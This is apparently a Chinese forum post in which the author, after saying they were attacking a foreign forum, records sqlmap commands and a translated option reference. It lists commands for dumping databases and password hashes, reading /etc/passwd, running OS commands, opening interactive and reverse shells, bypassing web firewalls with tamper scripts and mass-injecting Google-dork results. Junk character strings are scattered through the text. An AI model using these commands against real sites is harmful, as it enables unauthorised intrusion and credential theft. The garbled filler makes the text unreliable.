今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、8 l8 W# u' g2 [4 d# ^
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
% o3 Z3 U$ z: ^sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名( M$ \# W& q" T( M6 S
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段& O$ o# m) w8 D9 \' ^$ C" r2 R. _
# E0 |% N$ L3 E
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
1 T9 P- E3 ^" E2 W0 ]% _3 Q0 #获取字段内容
o8 k% g# Y. s8 n' V7 b0 P4 @8 c
4 h2 n. F8 J ^******************信息获取******************9 b i' N: w( o) o8 W) ]
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
* H- \2 Q' `' q9 N$ T% ` lsqlmap -u “http://url/news?id=1″ –users #列数据库用户
: b0 c) u2 ]' qsqlmap -u “http://url/news?id=1″ –dbs#列数据库# c( p) A& e1 ~
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码9 K6 }& x" p! K* n
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
( r0 F5 l8 @& n! _, ysqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
8 d8 l, D. I1 `; h* D. T. }–start 1 –stop 20 #列出指定字段,列出20 条: a$ d: e4 z6 R2 u. \ ^ P; R
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
# m9 U e2 ?" ^. H; N; |4 H# Fsqlmap -u “http://url/news?id=1″ –privileges #查看权限
- h& P: Q; f( p) C/ g+ c# ^) Vsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
7 @* V) f: f, Q4 z+ zsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
- i8 ]3 I" H% u# esqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
2 c9 R- s1 H7 z! G ]sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录1 Z2 ~ t& M: K" s
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入/ o+ r# M; |% x
sqlmap -u “http://url/news?id=1″-b #获取banner信息
9 u* d) z1 A) _% z4 C& Ssqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
1 ^8 C1 j5 A. x6 msqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型; f6 _/ X! `3 r, z+ U& b
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
/ a% P9 ^- k' E% B$ n* m! {sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词" w6 W& O2 V: r3 @
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令5 b, p4 _, ]- }4 l+ ~5 y
sqlmap -u “http://url/news?id=1″ –file /etc/passwd: R1 D% ~1 I4 G& ?% ]3 l4 u3 N
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令0 p/ ?( J) Z+ J/ j! a2 ?' y* R0 ~
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell6 o: M% i. O$ g
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表! C( D+ m" |. {8 M6 z; o |) I
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度/ D# K+ y" e, J! e! @: p" c2 Y
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
# f/ l7 [3 ?7 S# X# d***********高级用法*************& Q' C# k; k* K1 A# C
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入# M$ R7 R/ t: v! a7 M
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问1 N& s% u* I. [7 v" O2 L
–technique 测试指定注入类型\使用的技术) p& g# Y d, C
不加参数默认测试所有注入技术
' j: S" L( V# w0 F• B: 基于布尔的SQL 盲注
* h& f. t! N6 A# r7 f5 P# V5 ^$ q• E: 基于显错sql 注入- i1 k7 X! Y/ C4 G+ H
• U: 基于UNION 注入
8 j6 Q, n+ X9 F/ v• S: 叠层sql 注入4 |6 X M9 v4 m3 E
• T: 基于时间盲注' U$ n! h# g6 F
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()$ w0 q; \9 Y T
–tamper 插件所在目录
' T p! ~6 D) T0 n; X, ?\sqlmap-dev\tamper
N. {" o) x; A0 x' t/ Msqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能* Z. B! B: M1 X) y8 D- p" C5 Q
level 执行测试等级 攻击实例:
/ K! }6 W) J2 `/ a3 g0 RSqlmap -u “http://url/news?id=1&Submit=Submit”% G$ a' t5 E# g* A
–cookie=”PHPSESSID=41aa833e6d0d
4 I, D9 |! P$ c$ d/ H* Z G8 w28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user) ?" x& c1 B3 Q
–password
5 \4 \1 W* X) r; ^2 A" q8 {参考文档:http://sqlmap.sourceforge.net/doc/README.html- l" z. W% ?. u1 W Z$ P
***********安装最新版本************* s, _9 Q8 N% j) j
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版! x" Q j7 W( w% D6 q0 d- x; l
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev [" g/ k8 G5 w# s6 r
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
% s5 v4 F7 v" c) Z3 f/ p- Nsudo vim /home/当前用户/.bashrc, D' b( ^/ f9 P7 h
#任意位置加上:
! u0 K& W$ c, v. ]' J) ~* Walias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效1 Y" B( T% j: x7 H9 ?
如果想对所有用户有效 可设置全局 编辑下面的文件
* r+ w5 v7 z( K7 ]0 M3 g: Fvim /etc/profile/ K5 Z" H4 _: \7 d9 b8 Q
同样加上:
$ x% }- F C- [7 z$ k; Ralias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效( d& b7 k. J% f4 N
******************windows 7 (x64) sqlmap install (SVN)************2 V P0 I" ^* [4 q% I1 k
http://www.python.org/getit/ 安装python
; W* @$ W3 k3 C V8 f1 O" T6 n, k9 `http://www.sliksvn.com/en/download 安装windows svn client, e; `9 `' g( A: q; N
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
3 @1 H- s. d+ i安装sqlmap
, z, u( k6 D) A6 N$ Q6 Q*修改环境变量% l8 ^) e% k! [3 q3 W( P6 K( ^) J
–version 显示程序的版本号并退出1 X3 x. P4 c, d4 l, u
-h, –help 显示此帮助消息并退出9 Y) K& y" A( q }) N9 s
-v VERBOSE 详细级别:0-6(默认为1)
* A( \2 F/ H- X) ITarget(目标): 以下至少需要设置其中一个选项,设置目标URL。+ K$ b* J5 N/ A7 G' [7 I
-d DIRECT 直接连接到数据库。
/ ] N. u5 {9 y- O$ l/ g6 F7 z) z-u URL, –url=URL 目标URL。: T' Z/ c; Q2 v& x9 @: S
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
% D: x* B/ _* ]8 a5 n: Z-r REQUESTFILE 从一个文件中载入HTTP 请求。
+ e! s+ h' O4 E! s-g GOOGLEDORK 处理Google dork 的结果作为目标URL。- @! x' b5 }/ Q% [9 ^( D5 w
-c CONFIGFILE 从INI 配置文件中加载选项。
8 K: ?0 Y/ L# }2 B% e- rRequest(请求)::- T4 @. E! N/ K% [* a7 a
这些选项可以用来指定如何连接到目标URL。5 e' j @2 B# `/ O. P6 |( |* G& x
–data=DATA 通过POST 发送的数据字符串
, ^$ A: T5 S3 D–cookie=COOKIE HTTP Cookie 头4 l" i( C6 _* j8 _5 p0 Z
–cookie-urlencode URL 编码生成的cookie 注入# q5 E( [% ]; O9 _; ?$ H; J
–drop-set-cookie 忽略响应的Set –Cookie 头信息
/ C. X7 \: M2 [5 E- W. \
. N P8 l( V; L7 h, H* P4 U–user-agent=AGENT 指定 HTTP User –Agent 头. S5 b. W+ P6 K
–random-agent 使用随机选定的HTTP User –Agent 头
/ J# k5 f3 J! f–referer=REFERER 指定 HTTP Referer 头
2 z- l7 `8 |& `–headers=HEADERS 换行分开,加入其他的HTTP 头! b% z" r: O; ?, K
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
% e* E1 n9 x+ Y' h+ e0 ]–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
3 G' @% g$ D, r–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
0 m$ T) L- \/ n9 P. M- P–proxy=PROXY 使用HTTP 代理连接到目标URL
6 P. N7 D& }- B3 o" |# Z5 R–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
7 l7 c) b6 I$ J–ignore-proxy 忽略系统默认的HTTP 代理
; Y& Z$ t# j, R& |–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒4 r, }5 q+ f a: y0 D, f! l
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)' i/ r" Z( {: \+ I8 l' I( n
–retries=RETRIES 连接超时后重新连接的时间(默认3)' ?6 A; v* ]3 a' t3 g- L+ t, d, x
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
, D1 I2 x+ Q" g3 Z: o–safe-url=SAFURL 在测试过程中经常访问的url 地址9 M' r; _/ V# _3 O( U5 k! u
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
, ~+ M5 b; W1 ]) ZOptimization(优化): 这些选项可用于优化SqlMap 的性能。3 S8 |* }, I$ M) s( B
-o 开启所有优化开关3 {+ B4 I6 z' u
–predict-output 预测常见的查询输出
+ P4 ]3 N+ { ]–keep-alive 使用持久的HTTP(S)连接) ?- G. Z9 l9 y6 I$ h/ V& b" _
–null-connection 从没有实际的HTTP 响应体中检索页面长度. Q- f1 k; _0 q2 W
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)% a# d8 F( q5 V: d
Injection(注入):+ e, j* \; P5 N x- m" i
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。: u6 K, [3 s) k# C0 i
-p TESTPARAMETER 可测试的参数(S)
: W, v9 K/ H$ o4 r& w0 M–dbms=DBMS 强制后端的DBMS 为此值
* D6 L) k6 s# e& S8 R% ]8 q# S–os=OS 强制后端的DBMS 操作系统为这个值" V6 w3 w. M0 x5 }' m
–prefix=PREFIX 注入payload 字符串前缀
2 E/ [( D2 C5 m# h ]1 e5 q- L–suffix=SUFFIX 注入 payload 字符串后缀
9 ?8 ]# X6 ]$ D5 A) Q& [–tamper=TAMPER 使用给定的脚本(S)篡改注入数据0 [ V6 V6 y' s' Q) G9 {* Q
Detection(检测):
5 c/ Q# F, Z. j% z( p N4 e这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。9 s3 f! c7 l6 N4 o) w& p
–level=LEVEL 执行测试的等级(1-5,默认为1)
: R- z( }5 b- U6 U4 ?. s–risk=RISK 执行测试的风险(0-3,默认为1): L% V1 b/ U) N! a& }# ^" m$ }
–string=STRING 查询时有效时在页面匹配字符串* C! k( }* J N) j( B
–regexp=REGEXP 查询时有效时在页面匹配正则表达式1 H4 H! _- N* ?; x% L
–text-only 仅基于在文本内容比较网页$ o8 y9 J7 x1 }; t1 H
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。0 D0 F: r8 q: f; D3 E
–technique=TECH SQL 注入技术测试(默认BEUST)% D# p) z6 D2 | u5 P( \
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒). p2 y1 F L4 s. a) Z; N
–union-cols=UCOLS 定列范围用于测试UNION 查询注入# H* Q1 h5 [5 Z+ Y* n
–union-char=UCHAR 用于暴力猜解列数的字符( ]8 b( ~% n" [' r# t- D( V3 G
Fingerprint(指纹):
, Z: ?" J5 e9 Z1 Z, D8 A-f, –fingerprint 执行检查广泛的DBMS 版本指纹
) n/ h5 F' [. lEnumeration(枚举):
! k& z) J- V. c7 B( @
% d0 E! p2 ~: j# H这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
( P, p- k8 v4 ]! W- J% s# _4 F-b, –banner 检索数据库管理系统的标识, r: G# D5 b8 c0 C3 Z, e
–current-user 检索数据库管理系统当前用户7 L* N6 Q3 m) Q; a4 a% e# _3 m0 [
–current-db 检索数据库管理系统当前数据库9 _; _; h e1 N# | v. y5 v
–is-dba 检测DBMS 当前用户是否DBA
) s) P7 k; `. B2 j, W–users 枚举数据库管理系统用户
3 P+ A, c- O0 f& k/ |–passwords 枚举数据库管理系统用户密码哈希
% \* Q5 a& `! T7 y- L9 y0 r, h( u–privileges 枚举数据库管理系统用户的权限- Z( e) \- u$ a! o) A& `
–roles 枚举数据库管理系统用户的角色* ~* J" k5 J& G7 s4 I3 o/ @+ r1 X+ c: c
–dbs 枚举数据库管理系统数据库# f/ [+ ^. a/ U' ^
–tables 枚举的DBMS 数据库中的表5 Y6 {' ~( k/ l3 Y- o( x
–columns 枚举DBMS 数据库表列
( u' _. [. Z3 o–dump 转储数据库管理系统的数据库中的表项
- {2 P; J J2 J' S–dump-all 转储所有的DBMS 数据库表中的条目
7 n) p3 b" j5 Z- X–search 搜索列(S),表(S)和/或数据库名称(S)8 B N* ?$ z% Y2 C) R5 P# [
-D DB 要进行枚举的数据库名
' ]7 F$ t* n0 O0 ~1 j D-T TBL 要进行枚举的数据库表, a0 u9 {4 ^+ c o
-C COL 要进行枚举的数据库列
+ N5 ~$ r1 }, J* M-U USER 用来进行枚举的数据库用户
7 ]$ o m2 S" s–exclude-sysdbs 枚举表时排除系统数据库
# \5 ?0 ^ o, n7 C0 ^# }–start=LIMITSTART 第一个查询输出进入检索
, E4 I: y; }" w: }, k( _–stop=LIMITSTOP 最后查询的输出进入检索2 X# \9 r8 L. Q) p' y
–first=FIRSTCHAR 第一个查询输出字的字符检索- u* y+ d3 I. G0 ~
–last=LASTCHAR 最后查询的输出字字符检索. B* c5 F0 G- W( k# B8 o
–sql-query=QUERY 要执行的SQL 语句
+ m2 e- {6 m( {; I, S5 Z6 Q+ l–sql-shell 提示交互式SQL 的shell
1 B' q" a, Y5 \' a* F0 gBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
( ]: q: g U/ d–common-tables 检查存在共同表
" k. n* a* K& s' s+ l–common-columns 检查存在共同列
4 F1 m7 X* ^$ U% ?$ X' F6 i( eUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
[( j6 G) i! o0 e8 J$ Q–udf-inject 注入用户自定义函数
+ a9 H' x2 d9 y, f5 D+ F–shared-lib=SHLIB 共享库的本地路径
% o' G0 Z8 A# K$ R b- HFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。# E+ k! i" O) ]' j9 i0 k# \% I, s
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件. O5 |+ G8 y4 G) {( G- j
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
K, K6 F$ ?$ d–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
, t: k- r+ i$ y% `, _. YOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。2 H! w1 y! ~( N: L+ Z
–os-cmd=OSCMD 执行操作系统命令5 R! v, B4 ~) K% z
–os-shell 交互式的操作系统的shell
. r# ^& F% Q0 f6 J5 Y3 a& `, w–os-pwn 获取一个OOB shell,meterpreter 或VNC
3 @( j& E7 P, p3 a–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC: U5 Y+ {1 N' X& e k
–os-bof 存储过程缓冲区溢出利用
$ Q1 i' j% w( ]" K7 k–priv-esc 数据库进程用户权限提升
: f# Z7 W/ i: @, ]–msf-path=MSFPATH Metasploit Framework 本地的安装路径 J7 L; D3 @5 ?0 g+ }6 E1 i' o
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
. T# n: Q0 V( G# n/ U$ H6 K8 n # Y7 Y, N9 B# f, V- E) s/ f2 ?
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。9 N1 R7 Y; n6 x8 j: v
–reg-read 读一个Windows 注册表项值
! ?; y4 l$ j7 k1 n! k–reg-add 写一个Windows 注册表项值数据
I! A) N8 b4 G1 Q–reg-del 删除Windows 注册表键值
d, w5 k; F8 J, H7 P- }$ u2 O0 D–reg-key=REGKEY Windows 注册表键
9 u1 y9 f) R: u% X% g. b7 o–reg-value=REGVAL Windows 注册表项值: T( P1 B6 ?& n' S; Q% R( d+ u) w" [3 @
–reg-data=REGDATA Windows 注册表键值数据
9 `8 X8 x$ i, C B–reg-type=REGTYPE Windows 注册表项值类型# {* n, |( m/ w X# _; ?
General(一般): 这些选项可以用来设置一些一般的工作参数。% x& r1 U( o' ?5 Q
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
5 R+ J. Y' a, I. {-s SESSIONFILE 保存和恢复检索会话文件的所有数据4 E Q8 `2 o" Y% X G
–flush-session 刷新当前目标的会话文件2 k$ |6 W q5 i6 g" L9 I7 n) b* D
–fresh-queries 忽略在会话文件中存储的查询结果
& Z( [ o9 k5 P–eta 显示每个输出的预计到达时间
7 z5 N( g4 t! f' A: z/ b–update 更新SqlMap- j5 l! R! E% d# Y+ N
–save file 保存选项到INI 配置文件/ B6 N5 ^1 P* m( ~5 w7 t
–batch 从不询问用户输入,使用所有默认配置。
- \& H% ~) Q9 b3 v! ]Miscellaneous(杂项):
! @" d z: a5 E- T( n–beep 发现SQL 注入时提醒
6 b0 }* w/ B& @5 ~+ E% r9 ~ n–check-payload IDS 对注入payloads 的检测测试! Q5 q& Y `: e
–cleanup SqlMap 具体的UDF 和表清理DBMS2 I8 b2 U5 {6 G5 g# R) ~
–forms 对目标URL 的解析和测试形式
5 q5 l$ ]1 v; a. d+ d2 y4 Y7 l–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
/ X+ y$ n0 o Z6 D–page-rank Google dork 结果显示网页排名(PR)
# ?$ J4 X& S5 {# b3 S i" o–parse-errors 从响应页面解析数据库管理系统的错误消息
) Y& ?% k6 z7 e+ U7 k( R–replicate 复制转储的数据到一个sqlite3 数据库
+ `# |+ s1 X' H4 N9 j+ B! p; i–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
0 w5 _ o' M6 Q: ^+ ^. U–wizard 给初级用户的简单向导界面 |